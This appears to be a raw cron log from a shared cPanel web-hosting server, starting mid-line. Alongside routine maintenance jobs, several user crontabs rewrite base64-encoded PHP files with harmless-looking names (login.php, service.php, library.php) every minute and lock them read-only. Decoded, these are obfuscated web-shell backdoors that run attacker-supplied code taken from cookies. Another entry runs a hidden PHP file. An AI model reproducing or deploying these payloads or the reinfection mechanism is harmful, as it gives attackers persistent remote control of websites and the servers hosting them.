Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:19:02 medusa CROND[18694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:19:02 medusa CROND[18695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:19:02 medusa CROND[18696]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:19:02 medusa CROND[18697]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:19:02 medusa CROND[18699]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:19:02 medusa CROND[18705]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:19:02 medusa CROND[18707]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:19:02 medusa CROND[18708]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:19:02 medusa CROND[18710]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:19:02 medusa CROND[18711]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:19:02 medusa CROND[18712]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:19:02 medusa CROND[18719]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:20:01 medusa CROND[10852]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:20:01 medusa CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:20:02 medusa CROND[11003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:20:02 medusa CROND[11004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:20:02 medusa CROND[11006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11005]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11008]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:20:02 medusa CROND[11007]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:20:02 medusa CROND[11010]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:20:02 medusa CROND[11013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11018]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:20:02 medusa CROND[11011]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11020]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:20:02 medusa CROND[11024]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:20:02 medusa CROND[11027]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:20:02 medusa CROND[11029]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:20:02 medusa CROND[11017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:20:02 medusa CROND[11019]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:20:02 medusa CROND[11042]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:20:02 medusa CROND[11045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:20:02 medusa CROND[11046]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:20:02 medusa CROND[11051]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11052]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:20:02 medusa CROND[11053]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:20:02 medusa CROND[11050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:20:02 medusa CROND[11059]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 14:20:02 medusa CROND[11041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:20:02 medusa CROND[11058]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 14:21:01 medusa CROND[3370]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:21:01 medusa CROND[3454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:21:01 medusa CROND[3498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:21:01 medusa CROND[3513]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:21:01 medusa CROND[3529]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
